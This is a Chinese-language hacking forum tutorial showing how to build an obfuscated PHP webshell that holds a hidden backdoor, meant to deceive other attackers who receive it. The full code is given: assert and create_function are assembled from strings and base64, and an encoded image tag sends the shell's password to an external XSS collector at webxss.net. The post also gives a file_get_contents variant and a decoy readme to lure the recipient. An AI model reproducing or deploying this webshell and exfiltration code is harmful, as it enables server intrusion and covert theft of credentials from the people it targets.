本帖最后由 sucppVK 于 2017-1-26 12:40 编辑
一、前言
本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!
凭什么只有别人给我们带后门的东西? 我们辛辛苦苦的成果,要送给别人。 恩,因为这是一个大鱼吃小鱼的世界。 今天教大家如何去吃小鱼。 某“黑客”:老子不会代码一样能拿站。 丫扔给他一个一句话,说这个免杀了。 他一看,代码乱乱的,和正常一句话不一样, 而且还能自己改密码,于是高兴的:“好,收下了”。

<ignore_js_op> 殊不知都,一旦他动手了 他所有的犯罪记录都在我们手里:
 <ignore_js_op> 密码:xxx 木马所在:http://127.0.0.1/vkweb/text1.php
二、正文 首先不理解一句话木马的童鞋,参考本人上一次的教程: http://bbs.ichunqiu.com/forum.ph ... id=17816&page=1 (ps:跳过0x02) 顺便附上sql注入的: http://bbs.ichunqiu.com/forum.ph ... id=18284&page=1 ------------------------------------------------------------------------------- 网上一句话免杀姿势不少,无非就是编码混淆,变量函数等等 注意几点:
- 变量函数,前提是必须是函数 eval就不行
- 变量变成字符就不是变量了
第一点是什么意思呢? 例如:
[PHP] 纯文本查看 复制代码
|
1
2
3
4
|
<?php
$a = "eval";
$a($_POST[123]);
?>
|
看上去没毛病,但是执行起来:
 <ignore_js_op> 原因就是eval根本不是函数,用assert代替即可:
|
1
2
3
4
|
<?php
$a = "assert";
$a($_POST[123]);
?>
|

<ignore_js_op> 两者差异请参考百度关键字:php中eval和assert的区别 反正assert()可以用菜刀连接
第二点呢? 可能有人想把assert变成变量$x,然后变量在base64编码,到时候解码后就可以达到混淆的效果 想法不错,但是base64编码在解码,php会把它当做字符串$x,而不是变量 因此也不具备函数变量功能!
思路 编码混淆可以拿来免杀,同样也可以拿来给后门混淆视听。 让不懂代码,粗心的黑客上钩 思路有很多,这里抛砖引玉,借用xss平台完成。 步骤如下:
- 随便找一家xss平台注册,登陆

- 在我的项目里,点击创建:<ignore_js_op>
- 项目名称和描述随便写,就是为了好认:<ignore_js_op>
 
- 点下一步, <ignore_js_op>
- 选择偷cookie的模块,每个平台命名会不一样,我这个平台管这叫默认模块
- 点击下一步完成创建项目
看自己的项目代码:
 <ignore_js_op>
所谓跨站脚本攻击,就是把自己的另外一个站的恶意js代码插入受害者网站, 偷cookie功能的实现,实际是这个js用get方式请求了某个url,把偷到的隐私数据发送过去 这里本人的接口连接是:http://webxss.net//index.php?do=api&id=Iqc5u4
你们看你们自己的,别用我的。。。 尝试在浏览器地址栏输入 http://webxss.net//index.php?do=api&id=Iqc5u4&location=test_haha
 <ignore_js_op> 错误没关系,去平台看看:
成功接收数据,因此思路就是: 在http://webxss.net//index.php?do=api&id=Iqc5u4&location=后面加上一句话密码就好了
实现 简化代码如下:
 <ignore_js_op> $b是base64_decode $c是create_function 倒数第二句,把assert($_POST['zxc']);分开 密码放在中间,实现可以让别人改密码的功能 然后后门语句就是: echo '<img src="http://webxss.net//index.php?do=api&id=Iqc5u4&location=pw:'.$pw.'" />'; 用图片的方法访问接口,把密码扔过去。 直接这样暴露了接口地址,容易被发现
因此编码混淆一下:
- 把<img src="http://webxss.net//index.php?do=api&id=Iqc5u4&location=pw:进行base64编码:<ignore_js_op>

- 使用的时候,用base64_decode解码就好了
具体代码:
[PHP] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
<?php
$a1 = 'ass';
$a2 = 'ert';
$a = $a1.$a2;
$a1 = 'base64_';
$a2 = 'decode';
$b = $a1.$a2;
$a1 = $b('Y3JlYXRlXw==');
$a2 = $b('ZnVuY3Rpb24=');
$url = $b('PGltZyBzcmM9Imh0dHA6Ly93ZWJ4c3MubmV0Ly9pbmRleC5waHA/ZG89YXBpJmlkPTJoNjJXViZsb2NhdGlvbj1taW1hOg==');
$c = $a1.$a2;
$pw = 'abc';
echo $url.$pw.' />';
$xx = $c("", $b('YXNzZXJ0KCRfUE9TVFsn').$pw.$b('J10pOw=='));
$xx();
?>
|
注释我也写的挺详细的了,慢慢看吧
把带后门的伪免杀木马给他时,同目录下写个使用必看的txt,里面说: 使用前先不要连接菜刀!先手动测试:

<ignore_js_op>
这样我们就能接受到了:
<ignore_js_op> (木马所在url也有,图中右边的HTTP_REFERER)
这样其实有局限性。 因为html语言由浏览器负责解析 菜刀是不解析的,因此直接连接菜刀是不能偷到密码的
但我们可以用php来链接xss平台接口,例如file_get_contents()

<ignore_js_op> 这样就解决这个问题了。
三、结束语 砖头已经抛出,剩下就是引出大家的玉了 本人也做了关于一句话木马的视频教程,有兴趣的可以私信我,当然如果蛋总同意,我也可以把链接发上来
|